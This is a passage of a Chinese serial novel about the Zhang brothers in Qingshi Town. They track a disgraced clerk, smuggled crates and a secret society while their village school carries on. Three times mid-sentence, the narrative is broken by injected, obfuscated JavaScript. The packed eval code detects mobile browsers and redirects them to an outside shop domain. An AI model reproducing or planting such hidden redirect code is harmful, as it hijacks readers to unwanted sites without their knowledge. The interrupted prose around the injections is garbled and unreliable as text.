但没关系。 只要塔在,灯在,学堂在,青石镇的人心在。 他们就不怕。 兄弟俩并肩站着,看着青云河奔流不息。 河水带走了官船,也带走了暂时的危机。 22. 第二十三章 暗流再起 官船的影子彻底消失在青云河拐弯处,水面只余下几道渐渐平复的涟漪。张静轩站在码头的青石阶上,久久没有挪步。秋日的风从河面刮来,带着水腥气和隐约的寒意,吹得他藏青学生装的衣摆微微拂动。 张静远拄着拐杖,侧头看了弟弟一眼。这位在战场上淬炼过的青年军官,脸上虽还带着伤后的苍白,但眼神已恢复了往日的锐利。他伸手拍了拍静轩的肩膀:“回吧。风大了。” 两人转身往镇里走。福伯赶着马车等在路边,见他们过来,忙撩开车帘。张静远摆摆手:“走走,活动活动腿脚。” 于是三人沿着河堤慢慢走。午后阳光斜照,将三人的影子拉得细长。河堤上种着一排柳树,叶子已黄了大半,风一吹,簌簌地落。几个孩童在树下捡落叶,用草茎串成串,嬉笑声清脆。 “大哥,”张静轩终于开口,“塔上那些话……你是真那么想,还是说给王组长听的?” 张静远笑了笑,那笑容里有种经历过生死的人才有的透彻:“真假掺半。在前线,每天看着兄弟倒下,确实会想——我们拼了命,到底为的是什么?后来想明白了,为的就是让后方这样的地方,能安安生生地过日子。” 他顿了顿,拐杖点在青石板上,发出笃笃的轻响:“但说给王组长听的那些,也不全是场面话。青石镇这所学堂,现在不只是一所学堂了。它是个象征——象征着在这乱世里,还有人愿意为未来播种。” 张静轩默默听着。大哥离家那年,他才十二岁,对这位兄长的记忆还停留在那个会偷偷教穷孩子识字、会拉得一手好弓的年轻人。三年过去,大哥身上多了些他看不懂的东西——不是沧桑,而是一种沉淀下来的坚硬。 “大哥,你的腿……”他忍不住问。 “弹片伤,没伤到骨头,但筋络受损。”张静远说得轻描淡写,“养几个月就好。正好,在家陪陪爹娘,也看看你办的学堂。” 这话说得自然,但张静轩听出了其中的深意——大哥这次回来,恐怕不止是养伤那么简单。 走到镇口,遇见周大栓挑着两筐鱼从码头方向来。看见张家兄弟,他放下担子,用汗巾擦了把脸:“大少爷,小少爷,那帮官老爷走了?” “走了。”张静远点头。 周大栓啐了一口:“什么玩意儿!俺今早在码头看见他们上船,一个个脸拉得老长,准没憋好屁。” 张静远笑了:“周叔眼毒。” “不是眼毒,是见多了。”周大栓重新挑起担子,“这些年,来青石镇的官儿,一拨接一拨,有真办事的,有混日子的,还有专门来捞油水的。这回这几个,看着就不像善茬。” 他说完,又压低声音:“大少爷,您刚回来,可能还不知道——前阵子镇上来了几个生面孔,在码头、货栈转悠,打听事儿。俺问过,说是省城来的商人,可那做派,不像买卖人。” 张静远眼神一凝:“什么时候的事?” “就这两天。”周大栓说,“俺留了个心眼,让码头的兄弟盯着。昨儿下午,那几个人在‘悦来茶馆’二楼包间,待了一个多时辰。出来时,跟镇公所的赵干事碰了个头。” 赵干事?张静轩心头一动。赵全福倒台后,镇公所清理了一批人,但这个赵干事——赵明德,是赵全福的远房侄子,因为没查出直接涉案证据,只是调了个闲职。没想到…… “周叔,谢了。”张静远从怀里掏出两块银元,“这点钱,给水生添件冬衣。天快冷了。” 周大栓连连摆手:“使不得使不得!水生上学,已经是张老爷天大的恩情了……” “收着。”张静远将银元塞进他手里,“不是恩情,是酬劳。您这消息,值这个价。” 周大栓眼眶红了,深深一揖,挑着担子走了。那背影在秋阳里,肩背微驼,但脚步扎实。 三人继续往家走。张静轩低声问:“大哥,你觉得赵明德……” “苍蝇不叮无缝的蛋。”张静远淡淡道,“赵全福倒了,他那一系的人,不会甘心。现在省厅来人,他们觉得机会来了。” “那咱们怎么办?” “等。”张静远说,“等他们动。现在动,打草惊蛇。” 回到家时,已近傍晚。张夫人正在院里收晾晒的药材——张家除了布施,偶尔也免费为穷苦人家看诊,这些药材都是备着的。看见两个儿子一起回来,她脸上露出笑容:“正好,厨房炖了鸡汤,给你们补补。” 晚饭时,张老太爷也回来了。老人家今日去了趟镇公所,处理学堂的账目——虽然省厅说“协助”,但该走的程序还得走。席间,张静远把周大栓说的事提了。 张老太爷放下筷子,沉吟片刻:“赵明德这个人……我留意过。能力平平,但心思活络。赵全福在时,他跟着捞了些好处,但没涉核心。如今失势,心里有怨,也正常。” “爹觉得他会做什么?”张静远问。 “做不了大事。”张老太爷摇头,“但小人作祟,最是麻烦。他会盯着学堂,找纰漏,找把柄,然后往上捅。” 张静轩想起王组长在塔上的神情——那种表面客气、实则疏离的眼神。如果赵明德真去省厅递什么“材料”,难保不会有人借题发挥。 “爹,我想……”他开口,“把学堂的账目、教案、学生名册,全部整理一份副本,送到省城李教授那儿。” 张老太爷眼睛一亮:“留底?” “对。”张静轩点头,“真金不怕火炼。他们想查,就让他们查。但咱们得有准备——所有的东西,都要清清楚楚,经得起查。” 张静远赞许地看了弟弟一眼:“长大了。” 张夫人却忧心忡忡:“可这么一来,不是更招眼吗?” “娘,”张静远温声道,“有些事,不是躲就能躲过去的。咱们越坦荡,他们越没辙。” 这事就这么定了。饭后,张静轩去了书房,开始整理资料。账目是福伯在管,一笔笔记得清楚;教案是苏宛音和程秋实的心血,工整详尽;学生名册上,二十八个名字后面,都附了家访记录——谁家什么情况,为什么上学,写得明明白白。 他一边整理,一边誊抄。油灯的光晕在纸面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140664|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上铺开,墨香混着秋夜微凉的气息。窗外,更夫的梆子声由远及近,又由近及远。三更天了。 张静远拄着拐杖推门进来,手里提着的食盒装了两碗热汤圆:“娘让送来的,说熬夜伤身。” 兄弟俩对坐吃着。汤圆是芝麻馅的,甜而不腻,热乎乎地暖着肠胃。 “静轩,”张静远忽然说,“你怕吗?” 张静轩抬头:“怕什么?” “怕这些事——官场的倾轧,暗中的算计,还有……可能来的更大的风波。” 张静轩沉默了一会儿,诚实地说:“怕。但怕也得做。” 张静远笑了:“这话,像咱们张家人说的。” 他放下碗,又拄着拐杖走到书柜前,抽出那本《山河图》的册子——这次不是画,是大哥从前线寄回的家书合集。翻开,里面夹着一张泛黄的照片。是兄弟俩小时候的合影,都穿着小马褂,站在老槐树下,笑得没心没肺。 “我离家那年,你十二岁。”张静远看着照片,“那时我就想,这弟弟,被保护得太好了,将来怎么办?现在看,是我多虑了。” 张静轩接过照片,指尖摩挲着上面的笑脸。那个无忧无虑的自己,好像已经很久远了。 “大哥,”他轻声问,“前线……到底什么样?” 张静远沉默了很久。书房里只有油灯燃烧的噼啪声。 “尸山血海。”他最终说,声音很轻,像怕惊动什么,“我第一次上战场,是夜里突袭。天黑得伸手不见五指,只能凭声音判断。子弹从耳边飞过,噗噗的,像雨点。有人中弹了,闷哼一声,就倒下去。你甚至不知道他是谁。” 他顿了顿:“后来天亮了,看见阵地上的情景——到处是尸体,有的完整,有的残缺。血把泥土都浸透了,踩上去黏糊糊的。那时候我就想,人为什么要有战争?” 张静轩屏住呼吸。 “后来想明白了。”张静远转过身,看着弟弟,“因为有些人,不让你好好活。你退一步,他就进一步;你再退,他就把你逼到绝境。所以不能退,一步都不能。” 他走到窗前,推开一条缝。夜风吹进来,带着深秋的寒意。 “青石镇这所学堂,现在就是前沿阵地。你在守,我在守,爹在守,苏先生程先生在守,街坊们也在守。咱们守的,不止是一所学堂,是一个念想——在这乱世里,人还能读书,还能明理,还能有尊严地活着的念想。” 张静轩感到眼眶发热。他用力点头:“我明白。” “明白就好。”张静远拍了拍他的肩,“早点睡。明天,还有很多事要做。” 兄弟俩吹熄灯,各自回房。张静轩躺在床上,却毫无睡意。大哥的话在耳边回响,混着更夫的梆子声,一下,又一下,敲在青石镇的夜色里。 他忽然想起秦怀安说过的话:“种子已种,小心风雨。” 现在,风雨真的要来了。 而他,必须长得更结实些,才能护住那些刚破土的嫩芽。 窗外,月亮隐入云层。天边隐隐有雷声滚动——是要下雨了吗? 23. 第二十四章 新芽与旧根 第二日清晨,雨果然来了。不是淅淅沥沥的秋雨,而是冬前最后一场急雨,豆大的雨点砸在瓦片上,噼啪作响。张静轩醒来时,院子里已积了水,檐下的水帘连成一片。 他匆匆洗漱,穿上福伯备好的蓑衣斗笠,往学堂去。雨太大,马车不便,只能步行。青石板路被雨水冲刷得光亮如镜,倒映着灰蒙蒙的天。 到学堂时,祠堂的门已开了。苏宛音正拿着扫帚清扫门槛处的积水,见张静轩来,抬头笑了笑:“这么大雨,还以为你不来了。” “苏先生不也来了?”张静轩脱下蓑衣,挂在廊下。 程秋实从里面出来,手里端着一盆炭火:“今天天冷,我把炭盆生起来了。孩子们来了能暖和些。” 果然,炭火的红光在昏暗的祠堂里格外温暖。张静轩帮着把桌椅擦干,又检查了窗纸——前阵子新糊的,还算结实,能挡风。 陆陆续续地,学生们来了。水生是第一个,裹着他爹的旧蓑衣,裤脚湿了大半,但脸上带着笑:“静轩哥,苏先生,程先生早!” “快进来烤烤火。”苏宛音接过他的蓑衣,“吃过早饭了吗?” “吃了,俺娘做的窝窝头。”水生从怀里掏出个油纸包,里面还有两个,“给静轩哥和小莲带的。” 正说着,小莲也来了。小姑娘撑着把破油伞,伞骨断了一根,半边身子都湿了。苏宛音忙把她拉过来,用干布给她擦头发。 “你娘好些了吗?”张静轩问。 小莲点头,声音细弱:“好些了。能下床做饭了。”她顿了顿,“苏先生,我爹……来信了。” 她从怀里掏出一封信,信纸已经皱巴巴的,但字迹清晰。小莲识字还不多,但认得“平安”两个字。 苏宛音接过信,轻声念起来。信是小莲父亲从省城写来的,说在码头找到了活,虽然辛苦,但工钱按时发。让女儿好好读书,等他攒够了钱,就回来看她。 小莲听着,眼眶红了,但忍着没哭。苏宛音摸摸她的头:“等你会写字了,就能给爹回信了。” “嗯!”小莲重重点头。 张静轩看着这一幕,心里暖暖的。这就是学堂的意义——不只是教识字算数,更是给这些孩子一个希望,一个与远方亲人连接的念想。 上课钟敲响时,二十八个孩子都到了。虽然个个淋得像落汤鸡,但眼神都很亮。程秋实开始讲国文,今天讲的是《诗经》里的《蒹葭》。 “蒹葭苍苍,白露为霜。所谓伊人,在水一方……”程秋实的声音在雨声里显得格外清朗,“这首诗,写的是追求。不管隔着多远的距离,多少困难,都要去追寻心中的‘伊人’。” 他顿了顿,目光扫过孩子们:“你们的‘伊人’,是什么?” 孩子们面面相觑。水生举手:“俺的‘伊人’……是让俺爹娘过上好日子。” 小莲小声说:“是……是让爹早点回来。” 铁蛋挠挠头:“是……是学好手艺,将来开个铁匠铺,比俺爹的还大。” 程秋实笑了:“都对。读书,就是为了让你们有能力去追寻这些‘伊人’。” 课继续着。雨声成了背景音,衬得祠堂里的读书声更显珍贵。张静轩坐在后排,一边听课,一边整理昨天没弄完的资料。他要誊抄三份——一份留底,一份送省城李教授,一份……他想了想,决定再备一份,存在赵秀才的书院。鸡蛋不能放在一个篮子里。 午休时,雨小了些。学生们在祠堂里吃自带的干粮。水生把窝窝头分给张静轩和小莲,自己啃着半块硬饼。张静轩把自己带的烙饼分他一半,水生嘿嘿笑着接了。 “静轩哥,”水生边吃边说,“昨儿俺爹说,码头又来了条怪船。” “怎么怪?” “不是货船,也不是客船,就一条小舢板,夜里来的,天没亮就走了。”水生压低声音,“船上的人,说话腔调怪,不像咱们这儿的,也不像省城的。” 张静轩心头一动:“听见说什么了吗?” “离得远,听不清。但俺爹说,那些人上岸后,往镇西方向去了。” 镇西?那里除了废弃的磨坊,就是……张静轩忽然想起什么——镇西五里外,有个早年废弃的砖窑。马三的账本里,好像提过那个地方。 他不动声色:“你爹还看见什么?” “就这些。”水生说,“不过俺爹留了心,在码头留了记号。要是那船再来,能认出来。” 张静轩拍拍他的肩:“告诉你爹,小心些。有什么情况,先别声张,来找我或者我大哥。” 水生点头:“俺晓得。” 下午的算学课,苏宛音教的是分数。她用苹果做例子,切成四份、八份,讲解“一半”“四分之一”的概念。孩子们看得认真,连最调皮的小子都瞪大眼睛。 张静轩看着苏宛音的背影。这个年轻的女子,从省城来到青石镇,承受着压力、非议,甚至危险,却依然站在这三尺讲台上,用最朴素的方式,为这些孩子打开一扇窗。 她图的什么? 也许,图的就是此刻孩子们眼中那点光。 放学时,雨彻底停了。天空洗过一般,蓝得透亮。阳光从云缝里漏下来,照在湿漉漉的青石板上,泛着金光。孩子们欢呼着冲出去,在积水里踩出水花。 张静轩收拾好东西,准备去赵秀才的书院。刚走出祠堂,就看见大哥张静远拄着拐杖,站在老槐树下,正仰头看什么。 “大哥?”张静轩走过去。 张静远指了指树梢:“你看。” 张静轩抬头。老槐树的叶子已经落了大半,但在最高的枝桠上,居然有个鸟窝。两只喜鹊正在窝边忙碌,衔着树枝加固。 “这季节了,还筑巢?”张静轩有些意外。 “反常。”张静远说,“但鸟比人敏感。它们敢在这时候筑巢,说明觉得这儿安全。” 他顿了顿,看向学堂:“人也一样。觉得安全了,才敢扎根,才敢生长。” 张静轩明白了大哥的意思。青石镇这所学堂,就是那个巢。现在,有鸟敢来筑窝了——不管是真的喜鹊,还是象征意义上的“新芽”。 “走吧。”张静远转身,“陪我去个地方。” “去哪儿?” “砖窑。” 兄弟俩往镇西走。雨后的小路泥泞难行,张静远的腿脚不便,走得慢。张静轩想扶他,被他摆摆手拒绝了:“自己走,练练。” 一路上,张静远问了学堂的许多细节——学生的家庭情况,教学的进度,街坊们的态度。张静轩一一说了。 “苏先生和程先生,”张静远忽然问,“他们……有离开的打算吗?” 张静轩一愣:“没听他们提过。大哥怎么问这个?” “省城那边,压力不会小。”张静远说,“王组长回去,肯定不会说好话。接下来,可能会有更多麻烦。苏先生背景敏感,程先生年轻气盛,我怕他们……扛不住。” 这话说得实在。张静轩沉默了。他不是没想过这个问题,但总抱着侥幸——也许,事情不会那么糟。 “如果真到了那一步,”张静远看穿了他的心思,“你得有准备。学堂不能倒,先生可以换,但魂不能散。” “魂?” “青石镇百姓自己办学的魂。”张静远说,“这魂要是散了,学堂就真成空壳了。” 张静轩重重点头。他明白了——学堂的真正根基,不是张家出的钱,不是省厅批的文,而是街坊们凑钱时的那份心,是孩子们风雨无阻来上学的那股劲。 走到砖窑时,太阳已经西斜。这座废弃的窑场占地不小,几座砖窑像巨大的坟包,矗立在荒草丛中。窑口黑洞洞的,像张开的嘴。 张静远拄着拐杖绕着砖窑走了一圈,在第三座窑的入口处停下。他蹲下身,用手扒开窑口的杂草——那里有新鲜的脚印,不止一个人的。 “果然。”他站起身,拍拍手上的土,“有人来过,而且不止一次。” 张静轩也看到了。脚印很乱,但能分辨出至少三种不同的鞋底纹路。其中一种,他见过——在磨坊的地窖里,马三同伙留下的。 “是陈继业的人?”他低声问。 “可能。”张静远说,“也可能是……别的人。” 他从怀里掏出个小本子——是张静轩从省城带回的那本,上面有陈继业可能的藏身点。翻到其中一页,指着上面的字:“你看这个。” 张静轩凑过去看。那一页写着:“砖窑,旧时走私中转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140665|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站,有地下仓库。” “地下仓库?”他一惊。 “早年走私盐铁的,常在砖窑下面挖地窖。”张静远说,“砖窑高温,能掩盖气味,而且地形复杂,容易藏身。” 他收起本子,环视四周:“如果陈继业真在省城藏了什么要紧东西,可能会转移到这里。毕竟,最危险的地方,就是最安全的地方——谁都想不到,他会把东西藏回青石镇。” 这个推测合理。张静轩感到脊背发凉。如果真是这样,那青石镇就又被卷进漩涡中心了。 “那咱们……” “先别动。”张静远说,“盯着。如果真有人来取东西,咱们就……”他顿了顿,“来个人赃俱获。” 兄弟俩又在砖窑周围转了转,没发现更多线索。天色渐暗时,他们往回走。夕阳把两人的影子拉得很长,投在泥泞的小路上。 “静轩,”张静远忽然说,“你知道我这次回来,最大的感触是什么吗?” “什么?” “青石镇没变,但人变了。”张静远的声音在暮色里显得悠远,“周大栓以前只是个闷头干活的船工,现在会留心陌生人了;李铁匠以前只顾着打铁,现在知道护着学堂了;连陈老秀才,那个最古板的老先生,都捐书捐字了。” 他停下脚步,看着弟弟:“这些人变了,是因为你们——你,苏先生,程先生,还有爹,做了该做的事。你们让他们看见了另一种可能——人可以不认命,可以读书,可以改变。” 张静轩鼻子一酸。这些话,他从没听人说过。街坊们的支持,他总觉得是理所当然的——办学是好事,大家自然支持。但现在他明白了,那不是理所当然,那是用一点一滴的努力换来的信任。 “大哥,”他轻声说,“我有时候会怕……怕自己做不好。” “怕就对了。”张静远笑了,“不怕的人,要么是傻子,要么是疯子。但怕归怕,事还得做。这就是担当。” 他拍拍弟弟的肩:“你做得很好。比我十五岁时,好得多。” 兄弟俩继续往前走。镇上的灯火陆续亮起来,炊烟袅袅升起,混着晚饭的香气。这是青石镇最寻常的黄昏,但张静轩觉得,这寻常里,有不寻常的力量。 回到家,福伯说赵秀才来过了,留了话——书院最近收到几本“奇怪的书”,问张静轩有没有空去看看。 “奇怪的书?”张静轩问。 “说是讲‘主义’的。”福伯压低声音,“赵秀才不敢留,又舍不得扔,想请你拿主意。” 张静轩明白了。这些年,各种新思潮涌进来,有些书确实敏感。赵秀才一个前清秀才,胆小,但爱书如命,左右为难。 “我明天去。”他说。 晚饭后,张静轩照例去书房整理资料。今天誊抄的是学生家访记录。翻到小莲那一页,他停下来—— “王小莲,女,八岁。父王有田,在省城码头务工,三月未归。母周氏,肺痨,卧床。家住镇西河边草房,家徒四壁。小莲聪慧,识字快,但性格怯懦。苏先生家访后,送药三次,垫付束脩。其母泣谢。” 短短几行字,背后是一个家庭的艰难。张静轩想起小莲今天说“爹来信了”时眼中的光。那封信,也许就是支撑这个孩子继续读书的全部力量。 他提笔,在这页的空白处加了一句:“十一月五日,其父来信报平安。小莲喜极,读书更勤。” 然后继续往下誊抄。水生的、铁蛋的、其他孩子的……每一页,都是一个故事,一段人生。这些故事现在还很单薄,但有了学堂,有了识字的机会,将来也许会不一样。 也许水生真能让爹娘过上好日子,也许小莲真能给爹写回信,也许铁蛋真能开个比爹还大的铁匠铺。 也许。 就为这一个个“也许”,这所学堂,值得守下去。 誊抄完,已是深夜。张静轩吹熄灯,走到窗前。月色很好,清清冷冷地照着庭院。远处祠堂的方向,一片黑暗——学堂睡了,孩子们睡了,青石镇睡了。 但他知道,在这睡眠之下,有什么东西在生长。 像老槐树上那对筑巢的喜鹊,像砖窑里可能藏着的秘密,像孩子们心里刚点燃的火苗。 这一切,都需要守护。 24. 第二十五章 书与火 清晨青石镇的石板路被洗得发亮。张静轩踩着湿漉漉的街道往书院走,手里提着福伯备好的食盒——里面是几样点心,给赵秀才的谢礼。 书院的门照例虚掩着。推门进去,那股熟悉的陈年纸张与墨锭混合的气味扑面而来。赵秀才正趴在柜台后,鼻梁上的圆框眼镜滑到了鼻尖,手里拿着一本书,眉头紧锁。 “赵先生。”张静轩轻声唤道。 赵秀才猛地惊醒,眼镜差点掉下来。看清来人,他忙扶正眼镜,站起身:“静轩啊,来了来了。”他四下看了看,压低声音,“那几本书……在里间。” 两人走进里间。那是赵秀才存放珍本的地方,不大,只容得下一张书桌和两架书柜。书桌上摊着五本小册子,纸张粗糙,印刷模糊,显然是私下流传的。 张静轩拿起最上面一本。封面上印着两个大字:《新潮》。翻开扉页,是一篇题为《劳工神圣》的文章。再翻,还有《妇女解放》《科学救国》……都是近年省城学界讨论的话题,但在青石镇这样的地方,显得格外刺眼。 “哪儿来的?”张静轩问。 “前日一个过路的书生留下的。”赵秀才搓着手,“说是从省城来,要去北边投亲,路上盘缠不够,想用书换几个钱。我看他衣衫单薄,就……就收下了。” 他顿了顿,声音更低了:“可昨晚我翻看,越看越觉得……这些书,不是寻常读物。里头有些话,太大胆了。要是让官府的人看见……” 张静轩明白赵秀才的担心。这些书若在省城,或许不算什么,但在青石镇,一旦被发现,轻则没收罚款,重则可能牵连书院。 他仔细翻看着。文章写得激扬,字里行间透着年轻人特有的热血。但更让他在意的,是书页间的一些批注——用铅笔写的,字迹潦草,但观点尖锐。有一处批道:“空谈无益,须落地生根。”另一处写:“乡村不醒,城市独醒何用?” 这些批注,不像普通读者随手写的。倒像是……写书人自己的思考? “那书生长什么样?”张静轩问。 “三四十出头,瘦高个,穿着半旧的学生装,说话带点江浙口音。”赵秀才回忆道,“对了,他左眉上有颗痣,不大,但显眼。” 左眉有痣。张静轩记下了。 “这些书,我先带走。”他说,“放在这儿,确实不安全。” 赵秀才如释重负:“好好好,你带走最好。不过……”他犹豫了一下,“静轩,这些书里的道理,有些……有些说得在理。比如这劳工神圣,咱们青石镇的船工、铁匠,哪个不是靠双手吃饭?凭什么就低人一等?” 这话从赵秀才嘴里说出来,让张静轩有些意外。这位前清秀才,一向最重“士农工商”的次序。 “赵先生也认同这些观点?” 赵秀才叹口气,摘下眼镜擦拭:“我年轻时,也想过科举入仕,光宗耀祖。可考了三次,连个举人都没中。后来想想,读书是为了什么?若是只为功名,那读再多书,也不过是个精致的利己者。” 他重新戴上眼镜,眼神有些恍惚:“这些年,我在书院,看着来来往往的人。有真心求知的,有附庸风雅的,也有……像那个书生一样,怀着一腔热血的。我渐渐觉得,书里的道理,不在纸上,在人心。人心若正,读什么书都是正理;人心若歪,圣贤书也能读歪了。” 这番话,让张静轩对这位老秀才刮目相看。原来在那些古板守旧的外表下,赵秀才心里也有过挣扎,有过思考。 “那这几本书……” “你看着办。”赵秀才摆摆手,“若是觉得有用,就留下;若是觉得危险,就……处理掉。” 张静轩点头。他把书收进带来的布包里,又在书架上挑了几本蒙学读物——是给学堂孩子们准备的。临走时,他把食盒递给赵秀才:“一点心意,您留着吃。” 赵秀才接过,眼眶有些红:“静轩,办学堂是好事,但……千万小心。这世道,好人难做,好事难为。” 从书院出来,已近晌午。阳光很好,驱散了连日的阴霾。张静轩提着布包往家走,心里却沉甸甸的。那几本书像几块火炭,在包里烫着他的手。 路过镇公所时,他看见赵明德从里面出来,正和一个穿长衫的中年人说话。那人背对着街,看不清脸,但身形有些熟悉。张静轩放慢脚步,假装系鞋带,侧耳听着。 “……放心,都安排好了。”赵明德的声音压得很低,“就这几天的事。” “那边怎么说?”中年人问,声音沙哑。 “一切照旧。”赵明德顿了顿,“不过,最近风声紧,你们动作要快。” “明白。” 两人又说了几句,中年人转身离开。就在他转身的瞬间,张静轩看清了他的侧脸——方脸,浓眉,嘴角有颗痣。 左眉有痣。 张静轩心头一震。这不就是赵秀才描述的那个书生?可看这人的年纪,怕有四十了,而且气质沉稳,不像热血青年。难道是……同一个人?还是巧合? 他来不及细想,那人已匆匆走远。赵明德也转身回了镇公所。张静轩站在原地,脑子里飞快地转着。 书生的书,出现在书院;疑似书生的人,与赵明德密谈。这两件事,有没有关联? 他加快脚步往家走。得把这事告诉大哥。 回到家,张静远正在院子里练箭。虽然腿脚不便,但他拉弓的姿势依然稳健。弓是那把牛角弓,弦绷得紧,箭离弦时带着破风声,稳稳钉在三十步外的草靶上。 见张静轩回来,他放下弓:“去哪儿了?” “书院。”张静轩把布包放在石桌上,把事情说了。 张静远拿起那本《新潮》,快速翻看着。当看到那些批注时,他眼神一凝:“这字迹……我见过。” “见过?” “前线的时候,有些宣传材料上,有类似的批注。”张静远合上书,“不是一个人写的,但风格像。应该是某个团体的内部交流方式。” “团体?” “嗯。”张静远在石凳上坐下,“这些年,各种团体很多。有的主张实业救国,有的主张教育救国,还有的……主张更激进的方式。这些书,可能是某个团体散播的。” 他顿了顿:“如果那个书生真是团体成员,他来青石镇,就不是偶然。” “那他和赵明德……” “可能是一伙的,也可能……赵明德被利用了。”张静远分析道,“赵明德这种人,失势后急于找靠山,容易被拉拢。” 正说着,福伯匆匆进来:“大少爷,小少爷,码头那边出事了。” “什么事?” “周大栓让人捎信来,说那条怪船又来了,这次……卸了货。” 兄弟俩对视一眼,立刻起身往码头赶。路上,福伯简单说了情况——晌午时分,那条小舢板又出现在码头,没靠岸,停在离岸十几丈的水面。船上下来两个人,划着小筏子靠岸,卸下几个木箱,又匆匆走了。整个过程不到一刻钟。 “箱子里是什么?”张静远问。 “不知道。箱子被赵明德派来的人接走了,直接运去了镇公所仓库。”福伯说,“周大栓想凑近看,被拦住了。那些人很凶,还亮了家伙。” 镇公所仓库在镇东头,是早年存放税粮的地方,后来闲置了。赵明德调任闲职后,主动要求管理仓库,说是“发挥余热”。当时没人多想,现在看来,怕是早有图谋。 到码头时,周大栓正蹲在岸边抽烟,脸色铁青。看见张家兄弟,他站起身:“大少爷,小少爷,这事不对劲。” “怎么说?” “那些箱子,”周大栓压低声音,“搬的时候,我听见里头有响声——不是重物的闷响,是……金属碰撞的声音。” 金属?张静远眉头紧锁:“枪?” “不像。”周大栓摇头,“枪声我听过,不是那样。倒像是……工具?或者零件?” 正说着,李铁匠也赶来了。这位铁匠师傅今日没开工,听说码头出事,拎着把锤子就来了。听了周大栓的描述,他想了想:“金属碰撞声……如果是工具,不该这么轻脆;如果是零件,那得是小零件。” 他忽然想到什么:“会不会是……印刷用的铅字?” 这话点醒了张静轩。他猛地想起那些书——印刷粗糙,纸张劣质,显然是私印的。如果青石镇有个秘密印刷点…… “李叔说得对。”张静轩说,“那些书,可能就是在这儿印的。” 张静远沉吟片刻:“如果真是印刷设备,那赵明德……恐怕不只是捞油水那么简单。他在帮人散播这些东西。” “那咱们怎么办?”周大栓问,“报官?” “报官没用。”张静远摇头,“镇上的老刘,管不了这事。而且,赵明德敢这么明目张胆,肯定上头有人。” 他顿了顿:“先盯着。看看那些箱子,最终去哪儿。如果是印刷设备,总得安装,总得用。只要他们动,咱们就能找到地方。” 李铁匠点头:“成,我让徒弟们留意。镇上就那几个能装机器的地方,好找。” 事情安排下去,兄弟俩往回走。路上,张静轩忽然问:“大哥,如果那些真是印刷设备,印的是这些书……咱们该阻止吗?” 张静远本就就得慢,最后选择停下脚步,看着弟弟:“你觉得呢?” 张静轩沉默。按常理,私印禁书是违法的,该阻止。可那些书里的道理,有些确实说得对。劳工不该被轻视,妇女该有受教育的机会,科学才能救国……这些,不也是学堂在教的吗? “我不知道。”他最终说,“那些书里的道理,我觉得对。可方式……” “方式很重要。”张静远接话,“激进的方式,容易招来镇压,反而坏事。你看历史上的变法,戊戌年那么急,结果呢?” 他拍拍弟弟的肩:“静轩,这世上的事,不是非黑即白。有些人想改变,但太急;有些人想维持,但太固。咱们要做的,是找到中间那条路——既变,又稳。” 这话让张静轩想起父亲说过的“守静笃,观复明”。守静不是不动,观复不是盲从。要在变动中看清方向,在坚守中寻求改变。 回到家,张静轩把自己关在书房里,重新翻开那几本书。这一次,他不再只看内容,而是仔细研究那些批注。 批注很散乱,但有些词反复出现:“组织”“同志”“行动”。在《劳工神圣》那篇的末尾,有一行小字:“青云会第三次会议,腊月初八,老地方。” 青云会?张静轩记下了这个名字。腊月初八——那不就是十天后? 他把这个发现告诉大哥。张静远眉头紧皱:“青云会……我好像听过。前线有些宣传材料,落款就是这个。” “那他们……” “可能是个秘密团体。”张静远说,“如果他们在青石镇活动,那赵明德接的那些设备,很可能就是为他们准备的。” “那腊月初八的会议……” “得弄清楚。”张静远说,“但不能打草惊蛇。先看看赵明德下一步动作。” 接下来几天,青石镇表面平静,暗地里却暗流涌动。李铁匠的徒弟们发现,镇公所仓库夜里常有动静,像是搬运东西。周大栓的船工兄弟则看见,有生面孔在镇西砖窑附近转悠。 张静轩照常去学堂上课,但心思总不免分神。苏宛音察觉到了,课后问他:“静轩,这几天有心事?” 张静轩犹豫了一下,还是把印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140666|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷设备和青云会的事说了。苏宛音听完,沉默良久。 “那些书,”她轻声说,“我也看过类似的。” 张静轩一愣:“苏先生也……” “在省城时,同学间传阅过。”苏宛音说,“有些道理,确实说得对。但方式……我父亲当年,就是太急了。” 她走到窗边,看着院子里玩耍的孩子们:“改变需要时间,需要耐心。像种树,不能拔苗助长。这些年我越来越觉得,教育才是根本——一个一个地教,一代一代地育。虽然慢,但扎实。” “那青云会那些人……” “他们或许有自己的理由。”苏宛音转过身,“但静轩,你要记住,咱们办学堂,不是为了反对谁,是为了建设——建设这些孩子的未来,建设青石镇的明天。这个立场,不能变。” 张静轩点头。他明白了苏宛音的意思——无论外界如何变化,学堂的初心不能改。教书育人,启智明理,这是根本。 